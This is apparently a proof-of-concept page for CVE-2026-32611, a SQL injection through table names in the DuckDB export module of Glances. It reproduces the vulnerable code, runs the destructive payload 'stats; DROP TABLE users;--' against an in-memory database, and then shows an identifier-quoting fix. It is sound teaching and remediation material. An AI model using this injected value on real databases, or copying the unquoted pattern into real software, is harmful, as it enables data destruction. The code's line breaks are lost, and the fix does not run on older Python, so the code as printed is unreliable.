CVE-2026-32611 Glances DuckDB导出模块SQL注入漏洞

# CVE-2026-32611 PoC - DuckDB SQL Injection in Glances # This PoC demonstrates SQL injection via table name in DuckDB export module import duckdb # Simulate the vulnerable code pattern from glances/exports/glances_duckdb/__init__.py def vulnerable_table_creation(table_name): """Vulnerable function that directly interpolates table name into SQL""" # This is the vulnerable pattern: direct interpolation of user-controlled input sql = f"CREATE TABLE IF NOT EXISTS {table_name} (id INTEGER, value TEXT)" return sql def vulnerable_insert(table_name, values): """INSERT uses parameterized query but table name is still vulnerable""" sql = f"INSERT INTO {table_name} VALUES (?, ?)" return sql, values # Malicious input simulating attacker-controlled monitoring data malicious_table_name = "stats; DROP TABLE users;--" # Execute vulnerable SQL conn = duckdb.connect(':memory:') cursor = conn.cursor() try: # Attempt to create table with malicious name sql = vulnerable_table_creation(malicious_table_name) print(f"[+] Generated SQL: {sql}") cursor.execute(sql) print("[!] Table created - potential injection vulnerability") except Exception as e: print(f"[-] Error: {e}") # Safer approach using identifier quoting def safe_table_creation(table_name): """Fixed version using proper identifier escaping""" # Use backticks or double quotes to escape identifiers escaped_name = f'"{table_name.replace("\"", "\"\"")}"' sql = f"CREATE TABLE IF NOT EXISTS {escaped_name} (id INTEGER, value TEXT)" return sql print("\n[+] Safe version:") safe_sql = safe_table_creation(malicious_table_name) print(f" Generated SQL: {safe_sql}")